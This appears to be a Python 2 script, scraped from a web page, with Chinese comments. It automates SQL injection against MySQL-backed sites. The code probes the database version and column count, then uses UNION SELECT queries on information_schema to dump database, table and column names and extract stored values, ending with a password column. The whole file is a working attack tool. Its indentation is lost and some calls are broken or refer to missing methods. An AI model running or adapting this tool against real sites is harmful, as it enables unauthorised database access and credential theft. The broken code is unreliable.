#coding:gb2312
import urllib
import string
import binascii
import re
class mysqlInject():
def __init__(self,url):
self.db='database()'
self.url=url #待检测的网址
self.dblen=0 #数据库的长度
self.counts=0 #字段数
self.tables=[] #表
self.dbname=''
# 检测数据库的版本
def judgeVersion(self):
page=urllib.urlopen(self.url).read()
sql=string.join([self.url,"%20and%20mid(version(),1,1)=523%"],'')
pagex=urllib.urlopen(self.url).read()
if page==pagex:
print 'MYSQL版本:>5'
else:
print 'MYSQL版本<5'
#检测字段数
def columnCounts(self):
page=urllib.urlopen(self.url).read()
for n in range(1,100):
sql=string.join([self.url,"%20order%20by%20",str(n)],'')
pagex=urllib.urlopen(sql).read()
if n==1:
if page==pagex:
print '可以使用 order by 猜解'
else:
print '不能使用order by 猜解'
break
else:
if page!=pagex:
self.counts=n-1
print '字段数:',self.counts
break
if self.counts==0:
print '未能猜解出字段数!'
#爆出当前数据库名,数据库用户
def inject5Content(self,sql):
url=self.url+'%20and%201=2%20UNION%20SELECT%20'
for x in range(1,self.counts+1):
if x!=1:
url+=','
url+='concat(0x25,'
url+=sql
url+=',0x25)'
pagec=urllib.urlopen(url).read()
reg="%[a-z,0-9,A-Z,.,\-,\\,@,:]*%"
regob = re.compile(reg, re.DOTALL)
result = regob.findall(pagec)
if len(result)!=0:
strings=result[1]
strings=strings[1:len(strings)-1]
return strings
def inject5TableNames(self,DB):
url=self.url+'%20and%201=2%20UNION%20SELECT%20'
for x in range(1,self.counts+1):
if x!=1:
url+=','
url+='concat(0x25,'
url+='group_concat(distinct+table_name)'
url+=',0x25)'
url+='%20from%20information_schema.columns%20where%20table_schema='
url+=DB
pagec=urllib.urlopen(url).read()
reg="%[a-z,0-9,A-Z,.,\,,\-,\\,@,:]*%"
regob = re.compile(reg, re.DOTALL)
result = regob.findall(pagec)
if len(result)!=0:
strings=result[1]
strings=strings[1:len(strings)-1]
s=strings.split(',')
return s
#猜解字段名
def inject5ColumnsName(self,TB):
url=self.url+'%20and%201=2%20UNION%20SELECT%20'
for x in range(1,self.counts+1):
if x!=1:
url+=','
url+='concat(0x25,'
url+='group_concat(distinct+column_name)'
url+=',0x25)'
url+='%20from%20information_schema.columns%20where%20table_name='
url+=TB
pagec=urllib.urlopen(url).read()
reg="%[a-z,0-9,A-Z,.,\,,\-,\\,@,:]*%"
regob = re.compile(reg, re.DOTALL)
result = regob.findall(pagec)
if len(result)!=0:
strings=result[1]
strings=strings[1:len(strings)-1]
s=strings.split(',')
return s
#猜字段内容
def inject5CountContent(self,TN,CN):
url=self.url+'%20and%201=2%20UNION%20SELECT%20'
for x in range(1,self.counts+1):
if x!=1:
url+=','
url+='concat(0x25,'
url+=CN
url+=',0x25)'
url+='%20from%20'
url+=TN
pagex=urllib.urlopen(url).read()
reg="%[a-z,0-9,A-Z,.,\,,\-,\\,@,:]*%"
regob = re.compile(reg, re.DOTALL)
result = regob.findall(pagex)
if len(result)!=0:
strings=result[1]
strings=strings[1:len(strings)-1]
print CN,':',strings
#如果数据库的版本大于4,可以使用'查'表的方法注入
def inject5(self):
d='database()'
self.database=self.inject5Content(d)
print self.database
database0x=binascii.b2a_hex(self.database)
database0x='0x'+database0x
print database0x
self.inject5TableName(database0x)
self.inject5TableNames(database0x)
tb=self.tables[0]
print ''
tb=binascii.b2a_hex(tb)
tb='0x'+tb
print tb
self.inject5ColumnsName(tb)
self.inject5CountContent('gly','password')
相关分类